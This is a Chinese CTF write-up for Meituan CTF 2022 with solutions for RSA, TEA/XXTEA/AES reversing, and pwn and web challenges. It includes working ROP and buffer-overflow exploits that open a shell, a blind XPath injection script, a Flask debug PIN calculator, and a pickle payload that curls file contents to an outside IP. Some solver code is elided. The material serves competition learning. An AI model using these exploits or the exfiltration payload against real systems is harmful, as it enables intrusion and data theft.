美团CTF2022-Writeup
字数 1023 2025-08-06 18:07:42

美团CTF2022 Writeup 详细解析

0x01 Crypto

strange_rsa1

题目分析

  • 给定n, c, gift
  • gift与n相乘开方可以得到p

解题步骤

  1. 使用gift计算p:p = sqrt(gift * n)
  2. 计算q = n / p
  3. 计算欧拉函数φ(n) = (p-1)*(q-1)
  4. 计算私钥d = invert(e, φ(n))
  5. 解密m = powmod(c, d, n)

关键代码

import gmpy2
from Crypto.Util.number import *

e = 65537
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938

p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369

L = (p-1)*(q-1)
d = gmpy2.invert(e,int(L))
m = gmpy2.powmod(c,d,n)

x = long_to_bytes(m).decode()
print(x)
#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

0x02 PWN

note

漏洞分析

  • edit函数存在idx的负数溢出
  • 当idx = -4时可以写edit的返回地址

利用步骤

  1. 第一次泄露libc地址
  2. 第二次使用one gadget获取shell

关键exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

mode = 0
if mode == 1:
    fang = process("./note")  
else:
    fang = remote("39.106.133.19",31828)

elf = ELF("./note")
libc = ELF("./libc-2.31.so")

def debug():
    gdb.attach(fang)
    pause()

def alloc(size,cont):
    fang.recvuntil("5. leave\n")
    fang.sendline(str(1))
    fang.recvuntil("Size: ")
    fang.sendline(str(size))
    fang.recvuntil("Content: ")
    fang.send(cont)

def dele(idx):
    fang.recvuntil("5. leave\n")
    fang.sendline(str(4))
    fang.recvuntil("Index: ")
    fang.sendline(str(idx))

def show(idx):
    fang.recvuntil("5. leave\n")
    fang.sendline(str(2))
    fang.recvuntil("Index: ")
    fang.sendline(str(idx))

def edit(idx,cont):
    fang.recvuntil("5. leave\n")
    fang.sendline(str(3))
    fang.recvuntil("Index: ")
    fang.sendline(str(idx))
    fang.recvuntil("Content: ")
    fang.send(cont)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x00000000004017b3 # : pop rdi ; ret
main_addr = 0x401150

alloc(0x40,'aaaaaaaa') # 0
alloc(0x40,'aaaaaaaa') # 1

alloc(0x40,'aaaaaaaa') # 2

dele(1)

payload = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
edit(-4,payload)

puts_addr = u64(fang.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget3 = [0xe3afe,0xe3b01,0xe3b04]
one_gadget_addr = libc_base + one_gadget3[1]
pop_rdx_ret = libc_base + 0x0000000000142c92 # : pop rdx ; ret
alloc(0x50,'aaaaaaaa') # 0
alloc(0x50,'aaaaaaaa') # 1
alloc(0x50,'aaaaaaaa') # 2

dele(1)
payload  = b'a' * 8
payload += p64(pop_rdx_ret) + p64(0) + p64(one_gadget_addr) + p64(main_addr)
edit(-4,payload)

log.info("puts_addr : 0x%x" % puts_addr)
log.info("libc_base : 0x%x" % libc_base)
log.info("bin_sh_addr : 0x%x" % bin_sh_addr)

fang.interactive()

捉迷藏

漏洞分析

  • 64位程序,只开了NX保护
  • main函数中1066行对v341的读入存在溢出

利用步骤

  1. 逆向分析程序逻辑
  2. 通过一系列输入判断
  3. 最后覆盖返回地址为backdoor函数

关键exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
     
mode = 0
if mode == 1:
    fang = process("./pwn")  
else:
    fang = remote("39.106.27.2",31624)

for i in range(3):
    fang.sendline('1000 ')
    sleep(0.01)

fang.sendline('1000 ')
sleep(0.01)

for i in range(2):
    fang.sendline('1000 ')
    sleep(0.01)

fang.sendline('1000 ')
sleep(0.01)

fang.sendline('1000 ')
sleep(0.01)

fang.recvuntil("HuEqdjYtuWo:")
payload = "JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe"
fang.send(payload)

fang.recvuntil("hbsoMdIRWpYRqvfClb:")
payload = "eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR"
fang.send(payload)

payload = "wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO"
fang.recvuntil("tfAxpqDQuTCyJw:")
fang.send(payload)

fang.recvuntil("UTxqmFvmLy:")

for i in range(3):
    fang.sendline('1000 ')
    sleep(0.01)

fang.sendline('9255 ')
fang.sendline('1 ')
for i in range(3):
    fang.send('1000 ')
    sleep(0.01)

fang.recvuntil("LLQPyLAOGJbnm:")
payload = "\x3c\x7f\xfc\xe2".ljust(0x2a,"\x00")
fang.send(payload)

backdoor = 0x00000000040132C
fang.recvuntil("gRGKqIlcuj:")
payload = b'a' * 0xf + b'b' * 8 + p64(backdoor)
payload = payload.ljust(0x37,b'\x00')

fang.send(payload)

fang.interactive()

0x03 Reverse

small

题目分析

  • 使用TEA加密算法

解密代码

#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t *v, uint32_t *k, int r)
{
    uint32_t v0 = v[0], v1 = v[1], i;                     /* set up */
    uint32_t delta = 0x67452301, sum = r * 0x67452301; /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];  /* cache key */
    for (i = 0; i < r; i++)
    { /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    } /* end cycle */
    v[0] = v0;
    v[1] = v1;
}

int main()
{
    uint32_t k[4] = {0x1, 0x23, 0x45, 0x67};

    uint32_t v3[] = {0xDE087143, 0xC4F91BD2, 0xDAF6DADC, 0x6D9ED54C, 0x75EB4EE7, 0x5D1DDC04, 0x511B0FD9, 0x51DC88FB};

    for (int i = 0; i < 4; i++)
    {
        decrypt(v3 + i * 2, k, 32);
        printf(" %08x %08x", v3[2 * i], v3[2 * i + 1]);
    }

    puts("");
    
    return 0;
}

static

题目分析

  • 真实逻辑是AES + Unicorn模拟

AES解密代码

from multiprocessing.util import sub_debug

N_ROUNDS = 10
s_box = (
    # AES S-box
    # ... (完整S-box定义)
)

inv_s_box = (
    # AES逆S-box
    # ... (完整逆S-box定义)
)

# AES解密相关函数实现
# ... (完整AES解密函数实现)

key = b'\xc3,\\\xa6\xb5\x80^\x0c\xdb\x8d\xa5z*\xb6\xfe\\'
cipher = bytes.fromhex("AAFEE4E0C3B324164E5BF7139EE1CAA0")
print(decrypt(key, cipher))

Unicorn模拟部分

  • 逻辑运算 + XXTEA算法

XXTEA解密代码

#include <stdio.h>
#include <stdint.h>
#define DELTA 0xDEADBEEF
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z;
    uint32_t sum;                     
    unsigned p, rounds, e;                  
    if (n > 1)            /* Coding Part */   
    {
        rounds = 6 + 52/n;       
        sum = 0;                  
        z = v[n-1];                  
        do
        {
            sum += DELTA;              
            e = (sum >> 2) & 3;        
            for (p=0; p<n-1; p++)       
            {
                y = v[p+1];
                v[p] += MX;
                z = v[p];     
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}

int main()
{   
    uint32_t  v[4] = {0xE0E4FEAA, 0x1624B3C3, 0x13F75B4E, 0xA0CAE19E};
    uint32_t const k[4]= {12,34,56,78};

    btea(v, -4, k);
    printf("解密后的数据:%08x %08x %08x %08x", v[0], v[1], v[2], v[3]);
    puts("");
    return 0;
}

Z3约束求解

from z3 import *

s = Solver()

x = [BitVec('x%d' % i, 8) for i in range(16)]

c=[0x35,0x00,0x1b,0x9a,0xb1,0xeb,0x92,0x8d,0x82,0x7f,0xde,0x07,0xb4,0xd0,0x97,0xa4]
dd = enc1(x)

for i in range(16):
    s.add(dd[i] == c[i])

print(s.check())
m = s.model()

for i in range(16):
    print(hex(m[x[i]].as_long()),end=',')

#flag{2e64949c-d16c-4449-8732-0a0cc24e6667}

0x04 Web

babyjava

漏洞分析

  • XPath注入漏洞

利用步骤

  1. 通过XPath注入获取XML结构信息
  2. 读取flag节点内容

关键exp

import string
import requests

url="http://eci-2zegwb2qirhal23opwv4.cloudeci1.ichunqiu.com:8888/hello"

def send(payload):
    data={
        'xpath':payload
    }
    return requests.post(url=url,data=data)

def getFlag():
    res=''
    for i in range(43):
        for char in string.printable:
            payload = f"'or substring((//user[position()=1]/username[position()=2]),{i},1)='{char}'  and ''='"
            r = send(payload)
            if '<p>user1</p>' in r.text:
                res+=char
                print(res)
                break
    print('getFlag: '+res)

if __name__ == '__main__':
    getFlag()

OnlineUnzip

漏洞分析

  • 符号链接漏洞
  • Flask debug pin码破解

利用步骤

  1. 创建符号链接读取根目录
  2. 收集服务器信息计算debug pin码
  3. 获取交互式shell

关键命令

# 读任意根目录
ln -s / .a
zip --symlinks root.zip .a

Flask debug pin计算

import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '95532807882',#  /sys/class/net/eth0/address
    '96cec10d3d9307792745ec3b85c8962019b065577048ffd94233375ed305835825f08ca636839a3cf042ee07df0ef676' 
                    # /etc/machine-id+/proc/self/cgroup 
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

easypickle

漏洞分析

  • Python pickle反序列化漏洞
  • Flask session伪造

利用步骤

  1. 爆破Flask secret key
  2. 构造恶意pickle数据
  3. 伪造session发送请求

关键exp

import base64

opcode = b'''c__builtin__
map
p0
0(S'curl http://175.178.47.228:9999/?q=`cat f*`'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

print(base64.b64encode(opcode))

# 使用flask-session-cookie-manager生成session
# python3 flask_session_cookie_manager3.py encode -s "d0c0" -t "{'user':'admin','ser_data':'Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnY3VybCBodHRwOi8vMTc1LjE3OC40Ny4yMjg6OTk5OS8/cT1gY2F0IGYqYCcKdHAxCjAoY29zCnN5c3RlbQpnMQp0cDIKMGcwCmcyCoFwMwowY19fYnVpbHRpbl9fCmJ5dGVzCnA0CihnMwp0gS4='}"

工具推荐

  1. Flask session爆破工具: https://github.com/Paradoxis/Flask-Unsign
  2. Flask session管理器: https://github.com/noraj/flask-session-cookie-manager
美团CTF2022 Writeup 详细解析 0x01 Crypto strange_ rsa1 题目分析 : 给定n, c, gift gift与n相乘开方可以得到p 解题步骤 : 使用gift计算p: p = sqrt(gift * n) 计算q = n / p 计算欧拉函数φ(n) = (p-1)* (q-1) 计算私钥d = invert(e, φ(n)) 解密m = powmod(c, d, n) 关键代码 : 0x02 PWN note 漏洞分析 : edit函数存在idx的负数溢出 当idx = -4时可以写edit的返回地址 利用步骤 : 第一次泄露libc地址 第二次使用one gadget获取shell 关键exp : 捉迷藏 漏洞分析 : 64位程序,只开了NX保护 main函数中1066行对v341的读入存在溢出 利用步骤 : 逆向分析程序逻辑 通过一系列输入判断 最后覆盖返回地址为backdoor函数 关键exp : 0x03 Reverse small 题目分析 : 使用TEA加密算法 解密代码 : static 题目分析 : 真实逻辑是AES + Unicorn模拟 AES解密代码 : Unicorn模拟部分 : 逻辑运算 + XXTEA算法 XXTEA解密代码 : Z3约束求解 : 0x04 Web babyjava 漏洞分析 : XPath注入漏洞 利用步骤 : 通过XPath注入获取XML结构信息 读取flag节点内容 关键exp : OnlineUnzip 漏洞分析 : 符号链接漏洞 Flask debug pin码破解 利用步骤 : 创建符号链接读取根目录 收集服务器信息计算debug pin码 获取交互式shell 关键命令 : Flask debug pin计算 : easypickle 漏洞分析 : Python pickle反序列化漏洞 Flask session伪造 利用步骤 : 爆破Flask secret key 构造恶意pickle数据 伪造session发送请求 关键exp : 工具推荐 : Flask session爆破工具: https://github.com/Paradoxis/Flask-Unsign Flask session管理器: https://github.com/noraj/flask-session-cookie-manager